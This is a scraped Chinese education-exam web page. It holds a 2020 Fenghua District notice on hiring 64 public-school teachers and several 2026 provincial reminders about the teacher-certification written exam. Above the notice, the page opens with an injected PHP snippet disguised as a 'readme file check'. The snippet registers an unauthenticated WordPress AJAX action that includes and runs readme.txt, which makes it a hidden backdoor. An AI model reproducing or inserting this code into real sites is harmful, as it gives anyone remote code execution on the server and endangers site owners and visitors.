if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
浙江奉化区2020招聘事业编制教师64人公告-全国教师资格考试网

浙江奉化区2020招聘事业编制教师64人公告

  为优化教育系统队伍结构,充实优秀师资力量,根据我区教育事业发展需要,经研究,决定面向社会公开招聘教育系统事业编制教师64名,现将有关事项公告如下:

  一、招聘原则和办法

  招聘工作坚持公开、平等、竞争、择优原则,按照德才兼备的用人标准,采取公开报名、统一考试和择优聘用的办法进行,通过笔试、面试、体检和考察等程序面向社会公开招聘教育系统事业编制教师。

  二、招聘对象基本条件

  1.遵守中华人民共和国宪法、法律和法规;

  2.遵守纪律,品行端正,热爱教育事业,具备良好的职业素养;

  3.具有招聘岗位所需的学历、资历、专业、职业(执业)资格、任职资格及技能要求;

  4.具备适应岗位要求的身体、心理条件;

  5.本区在编事业单位工作人员需与原单位解聘后才能报考。

  三、招聘岗位、人数及资格条件

  详见附件1。

  四、招聘办法和步骤

  (一)报名与资格审查

  1.网上报名:符合报名条件的考生于2020年4月13日—2020年4月20日,通过扫描下方“奉化区教育局招聘二维码”,完成电子报名表的提交(请务必认真填写,确保数据的准确性浙江奉化区2020招聘事业编制教师64人公告

  2.现场确认:根据疫情防控进程,现场确认时间、地点于网上报名结束后二天内在宁波市奉化区人民政府门户网站区教育局分站上通知。未进行现场确认或现场确认未通过的,报名无效。

  3.现场确认要求

  (1)报考人员从宁波市奉化区人民政府门户网站区人力资源和社会保障局分站或区教育局分站下载并填写好报名表(详见附件2),现场确认时上交。普通高等学校2020年全日制应届毕业生须带资料:原户口本、《普通高等学校毕业生、毕业研究生就业协议书》、普通高等学校核发的就业推荐表、学生证、本人身份证、近期免冠1寸正面照片2张,教师资格证书或普通话合格证书、教师资格证书“国考”笔试、面试成绩合格证明(不作要求的除外)等与招聘条件相关的有效证明材料。其他人员须带资料:户口本(集体户口人员须持户籍证明)、毕业证书、学位证书(不作要求的除外)、《教育部学历证书电子注册备案表》(通过中国高等教育学历信息网打印:http://www.chsi.com.cn)、本人身份证、近期免冠1寸正面照片2张、教师资格证书(不作要求的除外)、技能等级证书(不作要求的除外)等与招聘条件相关的有效证明材料。

  (2)留学人员应提供教育部留学服务中心出具的国(境)外学历学位认证书和国(境)外学历学位认证系统查询证明(可通过教育部留学服务中心网上服务大厅查询打印:http://zwfw.cscse.edu.cn)。国(境)外留学回国(境)人员报考岗位专业相近的,以所学课程为准,报名时提供国(境)外院校主干课程证明。

  2019年9月1日至2020年8月31日毕业的国(境)外留学回国(境)人员可等同于国内2020年全日制应届毕业生。

  (3)报考人员均须按规定时间、地点参加现场确认,接受资格审查,合格者缴纳考务费50元(浙价费〔2018〕21号)。

  (4)所有资料必须提供原件,并上交复印件一份。

  (5)报考人员提供的个人信息必须真实有效,证件不全或提供证件与报考条件不相符者,不能通过资格审核。

  4.每人限报一个岗位。

  (1)同一岗位的报名人数与招聘计划数之比不能低于一定比例:招聘计划数在2人及以下、报名人数和招聘计划数比例不足3:1的;招聘计划数在3人及以上、报名人数和招聘计划数比例不足2:1的,将核减或取消该岗位的招聘计划数(同一岗位招聘计划数为多个的,则核减招聘计划数,招聘计划数为1个的予以取消)。

  相关岗位的核减或取消招聘计划数情况在宁波市奉化区政府门户网站区教育局分站上公布。

  (2)认定普高信息技术、职高信息技术、小学信息技术岗位为难以形成竞争的专业技术岗位,符合报名条件的应聘人数和招聘计划数之比不足3:1时,按现场确认实际报名人数参加考试。

  资格审查通过人员凭本人身份证领取准考证(具体领取时间地点在宁波市奉化区政府门户网站区教育局分站上另行通知)。

  (二)招聘方式

  1.考试形式及总成绩计算

  (1)职高汽修实训、初中美术、小学音乐(二胡或琵琶或扬琴特长)、小学体育1、小学体育2(排球特长)、小学体育3(健美操特长)、小学美术岗位的考试形式:笔试、技能测试和面试(结构化面试)。总成绩为笔试成绩的40%+技能测试成绩的40%+面试成绩的20%。

  (2)学前教育(1. 2. 3. 4)岗位的考试形式:笔试和教学技能测试。总成绩为笔试成绩的50%+教学技能测试成绩的50%。

  (3)其他学科岗位的考试形式:笔试和面试(试讲)。总成绩为笔试成绩的50%+面试成绩的50%。

  各项成绩均以100分计分。

  考试成绩公布:笔试、专业技能测试、面试成绩将适时在宁波市奉化区政府门户网站区教育局分站上公布。

  2.笔试

  笔试时间不早于5月8日(具体时间以准考证为准),笔试地点详见准考证。各岗位笔试考试范围为教育教学理论、教材教法和学科专业知识。笔试采取闭卷形式,卷面总分为100分,考试时间120分钟,成绩不合格者淘汰。义务段同一学科不同岗位试卷相同(如报考初中语文岗位、小学语文岗位的考生均采用义务段语文学科笔试试卷)。笔试合格成绩划定办法:笔试成绩以60分为基准线,平均分在基准线以上的,以基准线为笔试合格成绩;平均分在基准线以下的,以平均分为笔试合格成绩,但不低于基准线的85%。

  3.技能测试(含特长测试)

  报考职高汽修实训、初中美术、小学音乐(二胡或琵琶或扬琴特长)、小学体育1、小学体育2(排球特长)、小学体育3(健美操特长)、小学美术岗位的考生,只要参加过笔试的,均须参加技能测试。技能测试主要测试本岗位技能技巧基本功及特长;报考特长教师岗位的考生技能测试以测试特长能力为主。技能测试时间地点及相关要求于笔试结束后三天内在宁波市奉化区人民政府门户网站区教育局分站另行通知。

  报考学前教育(1.2.3.4)岗位的考生,教学技能测试与其他岗位的面试同步进行。

  技能测试总分为100分,成绩60分及以上为合格,成绩不足60分者淘汰。

  4.面试(包括学前教育的教学技能测试)

  (1)在报考职高汽修实训、初中美术、小学音乐(二胡或琵琶或扬琴特长)、小学体育1、小学体育2(排球特长)、小学体育3(健美操特长)、小学美术岗位的,且笔试、技能测试成绩都合格的应聘者中,根据笔试和技能测试分别折算后的成绩之和,从高分到低分各按岗位招聘计划数的一定倍数确定面试对象,不足倍数的按实际人数确定。其中招聘计划数在2名及以下的按招聘计划数的3倍确定,2名以上的按招聘计划数的2倍确定。

  (2)在报考其他岗位且笔试成绩合格的应聘者中,根据笔试成绩从高分到低分各按岗位招聘计划数的一定倍数确定面试对象,不足倍数的按实际人数确定。其中招聘计划数在2名及以下的按招聘计划数的3倍确定,2名以上的按招聘计划数的2倍确定。

  参加面试人员名单及面试时间和地点适时在宁波市奉化区政府门户网站区教育局分站上公布。

  面试(包括学前教育教学技能测试)总分为100分,成绩60分及以上为合格,成绩不足60分者淘汰。

  (三)体检与考察

  在面试合格人员中,按总成绩从高分到低分以某一岗位最终招聘计划数1:1的比例确定体检、考察对象。总成绩相同的,有技能测试的(不包括学前教育)以技能测试成绩高的排位在前,如技能测试成绩相同则以笔试成绩高的排位在前;其他岗位以笔试成绩高的排位在前。如笔试成绩相同则加试后确定。

  参加体检人员按要求时间到指定地点参加体检,体检按《公务员录用体检通用标准》等公务员录用体检相关文件规定执行。体检不合格者淘汰,体检费用由考生自理。体检对象不按规定的时间、地点参加体检,视作放弃体检。

  体检合格者进入考察,具体参照国家公务员局《关于做好公务员录用考察工作的通知》(国公局发〔2013〕2号)规定执行。考察不合格者淘汰。

  (四)公示与聘用

  经上述程序合格者为拟聘用人员,名单在宁波市奉化区人民政府门户网站区人力资源和社会保障局分站或区教育局分站上公示7个工作日。公示期满后无异议的,由教育局统一分配到相关学校。其中普通高等学校2020年全日制应届毕业生与教育局签订就业协议书,待毕业派遣到学校后,由学校办理聘用手续。

  普通高等学校2020年全日制应届毕业生[2019年9月1日至2020年8月31日毕业的国(境)外留学回国(境)人员]须于2020年8月31日前取得相应的毕业证书[教育部留学服务中心出具的国(境)外学历学位认证书]和学位证书(不作要求的除外)。上述拟聘用人员未在规定时间取得相应的毕业证书[国(境)外学历学位认证书]和学位证书(不作要求的除外)的,或毕业证书[国(境)外学历学位认证书]和学位证书(不作要求的除外)上的学历学位、专业与报考岗位所要求的学历学位、专业不相符者,不予聘用。

  应聘人员现有工作单位的,须按有关规定办理好与原单位终止劳动人事关系手续后予以聘用。拟聘用人员不按时办理聘用手续的视作自动放弃。在办理人事关系转移手续时仍将审核档案资料,若发现应聘人员档案资料有不符合报考条件的,将取消聘用资格。

  新聘用人员按有关规定实行一年的试用期,试用期满经考核合格的,与学校签订正式聘用合同;如试用期满经考核不合格的,取消聘用资格,人事档案转至宁波市奉化区人才服务中心。

  新聘用人员的工资福利待遇按有关规定执行。

  新聘用人员实行五年服务期制度,服务期内不办理调动手续。

  普通高等学校硕士研究生及以上学历学位的2020年应届毕业生、“世界一流大学建设”普通高等学校全日制本科及以上学历学位的2020年应届毕业生、“世界一流学科建设”该学科全日制本科及以上学历学位的2020年应届毕业生的新聘用人员和职高信息技术岗位、职高汽修实训岗位的新聘用人员必须在2022年6月30日前取得相应教师资格证书,其他新聘用人员必须在2020年12月31日前取得;届时不能取得相应教师资格证的,解除聘用关系,人事档案转至宁波市奉化区人才服务中心。

  (五)递补规定

  面试开始48小时前,取得面试资格人员书面确认不参加面试的,有技能测试岗位的,在笔试、技能测试成绩都合格的人员中,按笔试和技能测试分别折算后的成绩之和,从高分到低分予以递补;没有技能测试岗位的,在笔试成绩合格人员中,按笔试成绩从高分到低分予以递补。对放弃体检或体检不合格、放弃考察或考察不合格、拟聘用人员在聘用通知签发前书面提出放弃或因弄虚作假被取消聘用资格的,在报考该岗位的合格人员中从总成绩高分到低分依次递补(重新参加体检和考察)。递补人员名单在宁波市奉化区人民政府门户网站区人力资源和社会保障局分站或区教育局分站公布。被聘用人员无正当理由逾期不报到者取消聘用资格并不再递补。

  五、本次教育系统事业编制教师公开招聘,区人力资源和社会保障局、区教育局不举办也不委托任何机构举办针对招聘的辅导培训班。社会上出现的任何以招聘考试命题组、专门培训机构等名义举办的辅导班、辅导网站或发行的出版物等,均与我区招聘主管部门无关、与本次考试无关。

  六、本次招考工作由区纪检监察部门负责监督,监督电话:88523822。本公告由区人力资源和社会保障局、区教育局负责解释,联系电话(工作时间):0574-88521521、88681560、88570527。

  附件:1.浙江奉化区2020招聘事业编制教师64人公告宁波市奉化区第三批公开招聘2020年教育系统事业编制教师计划汇总表.doc

 

     2.浙江奉化区2020招聘事业编制教师64人公告宁波市奉化区第三批公开招聘2020年教育系统事业编制教师报名登记表.doc

  宁波市奉化区人力资源和社会保障局
宁波市奉化区教育局

  2020年4月13日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部